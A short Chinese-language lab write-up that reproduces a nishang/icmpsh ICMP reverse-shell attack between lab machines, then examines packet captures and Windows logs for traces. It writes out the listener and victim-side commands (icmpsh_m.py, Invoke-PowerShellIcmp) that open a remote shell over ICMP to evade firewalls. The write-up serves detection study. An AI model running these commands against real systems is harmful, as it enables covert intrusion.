nishangICMP反彈shell攻擊日誌分析

ICMP包一般不被防火牆攔截，使用ICMP協議作爲連接容易通過防火牆。

攻擊過程復現。

復現環境

win7：192.168.0.73。powershell導入nishang框架。 https://blog.csdn.net/weixin_44253823/article/details/102972355

kali：192.168.0.162。安裝icmpsh工具。  https://github.com/inquisb/icmpsh.git

進入kali中icmpsh目錄下，輸入命令sysctl -w net.ipv4.icmp_echo_ignore_all=1來禁止ICMP回顯。

輸入命令 ./icmpsh_m.py 192.168.0.162 192.168.0.73來啓動監聽，同時打開wireshark抓包。

在win7中打開powershell並導入nishang框架。

輸入命令Invoke-PowerShellIcmp -IPAddress 192.168.0.162並執行。

在kali中拿到shell。

由於在橋接模式下，wireshark抓取到數據過多。因此改爲net模式，在net模式下繼續實驗。

win7IP：192.168.131.135

kali  IP：192.168.131.145

從報文可以看出數據通過ICMP協議傳輸，並且可以看到命令執行。

對windows日誌進行查看，發現powershell程序進程。

拿到shell有進行文件夾創建工作，查找aaa可以發現創建用戶以及時間。